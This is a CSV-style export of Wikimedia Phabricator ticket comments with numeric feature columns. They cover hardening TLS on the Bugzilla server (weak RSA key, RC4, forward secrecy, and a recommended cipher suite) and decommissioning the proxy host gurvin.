%%%phabricator%%%"
382894,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Dependency on ticket #7534 added by fgiunchedi,,,1400585857,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Dependency on ticket #7534 added by fgiunchedi
382884,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","//Subject changed from 'bugzilla SSL - weak RSA key, RC4 usage' to 'bugzilla SSL - weak RSA key, <s>RC4 usage</s>' by dzahn//",,,1397826594,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-63,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,22.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.25,0.625,"//Subject changed from 'bugzilla SSL - weak RSA key, RC4 usage' to 'bugzilla SSL - weak RSA key, <s>RC4 usage</s>' by dzahn//"
382872,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%merged, we don't use RC4 anymore now.%%%
%%%but Qualis still says we don't support PFS with the reference browsers. and the%%%
%%%key being weak is of course not a webserver config issue%%%",,,1397825931,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-63,True,0.0,0.0,0.0,0.0,6.0,6.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,6.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,17.0,2.0,0.0,4.0,4.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4680851063829787,0.7446808510638298,"%%%merged, we don't use RC4 anymore now.%%%
%%%but Qualis still says we don't support PFS with the reference browsers. and the%%%
%%%key being weak is of course not a webserver config issue%%%"
382862,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",//Bugzilla ticket 53259 added by dzahn//,,,1397635566,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.833333333333333,1.0,//Bugzilla ticket 53259 added by dzahn//
382851,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Reference to ticket #6763 added by dzahn,,,1397635530,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Reference to ticket #6763 added by dzahn
382840,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%On Tue Apr 15 17:22:28 2014, CSteipp wrote:%%%
> Does apache terminate the ssl on that server, or do we terminate on
> the nginx
%%%On Bugzilla (zirconium) itself.%%%
%%%https://gerrit.wikimedia.org/r/#/c/126204/ (make the suite easier to configure)%%%
%%%https://gerrit.wikimedia.org/r/#/c/126205/ (change to the Mozilla recommended%%%
%%%suite)%%%
%%%https://gerrit.wikimedia.org/r/#/c/126206/ (change Protocol setting)%%%",,,1397635469,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,24.0,5.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.4285714285714284,0.47619047619047616,"%%%On Tue Apr 15 17:22:28 2014, CSteipp wrote:%%%
QUOTE
QUOTE
%%%On Bugzilla (zirconium) itself.%%%
%%%URL (make the suite easier to configure)%%%
%%%URL (change to the Mozilla recommended%%%
%%%suite)%%%
%%%URL (change Protocol setting)%%%"
382828,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Issue taken by **dzahn**,,,1397626189,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,62.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.625,0.625,Issue taken by **dzahn**
382817,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%Does apache terminate the ssl on that server, or do we terminate on the nginx%%%
%%%cluster? If it's on the bugzilla server itself, and the general load isn't a%%%
%%%huge problem right now, I'd definitely be up for trying Mozilla's recommended%%%
%%%ciphersuite [https://wiki.mozilla.org/Security/Server_Side_TLS]. I'd expect to%%%
%%%see 5-10% overhead, but it would be great to get real numbers.%%%
%%%ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:ECDHE-RSA-RC4-SHA:ECDHE-ECDSA-RC4-SHA:AES128:AES256:RC4-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!3DES:!MD5:!PSK%%%
%%%PFS is preferred, and rc4 is discouraged (but preferred over 3des, which has%%%
%%%horrible performance), so overall load will definitely increase, just how much%%%
%%%depends on what kinds of browsers hit the server.%%%",,,1397582548,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.5,0.25,1.75,0.75,0.0,0.0,0.25,0.0,0.75,0.0,0.0,0.0,0.75,0.0,2.25,4.0,0.0,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.5,0.75,0.0,0.0,0.0,0.25,1.5,0.5,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.0,10.75,0.0,0.25,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.25,1.25,28.5,0.5,1.5,2.0,0.0,0.0,0.0,0.0,1.75,6.25,2.0,0.0,1.5,4.0,20.25,0.25,0.0,0.0,1.5,0.0,0.75,0.0,0.25,0.25,0.0,0.0,0.5,3.1875156054931333,0.37462546816479403,"%%%Does apache terminate the ssl on that server, or do we terminate on the nginx%%%
%%%cluster? If it's on the bugzilla server itself, and the general load isn't a%%%
%%%huge problem right now, I'd definitely be up for trying Mozilla's recommended%%%
%%%ciphersuite [URL I'd expect to%%%
%%%see 5-10% overhead, but it would be great to get real numbers.%%%
%%%ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:ECDHE-RSA-RC4-SHA:ECDHE-ECDSA-RC4-SHA:AES128:AES256:RC4-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!3DES:!MD5:!PSK%%%
%%%PFS is preferred, and rc4 is discouraged (but preferred over 3des, which has%%%
%%%horrible performance), so overall load will definitely increase, just how much%%%
%%%depends on what kinds of browsers hit the server.%%%"
382806,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%the same is true for wmflabs.org and likely all/a lot of other servers, will%%%
%%%have to check all if we really wanted a stronger key%%%",,,1397578794,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,6.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,3.3714285714285714,0.8,"%%%the same is true for wmflabs.org and likely all/a lot of other servers, will%%%
%%%have to check all if we really wanted a stronger key%%%"
382798,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",//Requestor ariel added by dzahn//,,,1397570363,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,//Requestor ariel added by dzahn//
382788,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",//AdminCc CSteipp added by dzahn//,,,1397570340,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,//AdminCc CSteipp added by dzahn//
382779,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Reference by ticket #3172 added by dzahn,,,1397570231,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Reference by ticket #3172 added by dzahn
382768,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%On Tue Apr 15 13:53:30 2014, dzahn wrote:%%%
> break out from #2517 which was about the BEAST attack (and has been fixed in
> the past).
>
> current issues left on bugzilla.wikimedia.org
>
> ~~
> Key RSA 1024 bits WEAK
>
> RC4 cipher is used with TLS 1.1 or newer protocols, even though stronger
> ciphers are available.
>
> The server does not support Forward Secrecy with the reference browsers.
> ~~
> https://www.ssllabs.com/ssltest/analyze.html?d=bugzilla.wikimedia.org
__________________________

{F22161}",,,1397570175,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,1.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.267605633802817,0.23943661971830985,"%%%On Tue Apr 15 13:53:30 2014, dzahn wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
__________________________

{F22161}"
382760,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Reference by ticket #2517 added by dzahn,,,1397570114,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Reference by ticket #2517 added by dzahn
83211,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%gurvin 1H IN A 208.80.152.20%%%
%%%gurvin is a Wikimedia ISSLPv6 Proxy (ipv6proxy).%%%
%%%gurvin is a Wikimedia SSL Proxy (sslproxy).%%%
%%%Linux gurvin 2.6.32-47-server #109-Ubuntu SMP Tue May 7 02:17:05 UTC 2013%%%
%%%x86_64 GNU/Linux%%%
%%%Ubuntu 10.04.4 LTS%%%
%%%this is Tampa, needs to go%%%


**Referred To By:**
{T83156}
{T83191}
{T84665}",Medium,50.0,1383172806,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-upbofy2q7ravb6knoab6,task_description,resolved,True,c3,1,True,False,True,-88,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,22.0,7.0,0.0,0.0,4.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,3.13,0.54,"%%%gurvin 1H IN A 208.80.152.20%%%
%%%gurvin is a Wikimedia ISSLPv6 Proxy (ipv6proxy).%%%
%%%gurvin is a Wikimedia SSL Proxy (sslproxy).%%%
%%%Linux gurvin 2.6.32-47-server #109-Ubuntu SMP Tue May 7 02:17:05 UTC 2013%%%
%%%x86_64 GNU/Linux%%%
%%%Ubuntu 10.04.4 LTS%%%
%%%this is Tampa, needs to go%%%


**Referred To By:**
{T83156}
{T83191}
{T84665}"
378208,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #8774 added by dzahn,,,1414606791,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Reference by ticket #8774 added by dzahn
378200,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'open' to 'resolved' by dzahn//,,,1384553061,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.75,//Status changed from 'open' to 'resolved' by dzahn//
378190,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%On Fri Nov 15 08:24:46 2013, ariel wrote:%%%
> It was left with salt key, storedconfigs and puppet cert. I removed those.
%%%thanks Ariel, i meant to say exactly that on IRC but you already did.%%%",,,1384553047,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,18.0,9.0,0.0,6.0,9.0,21.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.303030303030303,0.7878787878787878,"%%%On Fri Nov 15 08:24:46 2013, ariel wrote:%%%
QUOTE
%%%thanks Ariel, i meant to say exactly that on IRC but you already did.%%%"
378182,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'resolved' to 'open' by RT_System//,,,1384503887,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,False,,,-85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.75,//Status changed from 'resolved' to 'open' by RT_System//
378174,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%It was left with salt key, storedconfigs and puppet cert. I removed those.%%%",,,1384503886,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.8888888888888888,"%%%It was left with salt key, storedconfigs and puppet cert. I removed those.%%%"
378165,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'open' to 'resolved' by dzahn//,,,1384477111,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.75,//Status changed from 'open' to 'resolved' by dzahn//
378156,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%host is powered down and removed from repos. next steps are wiping etc in%%%
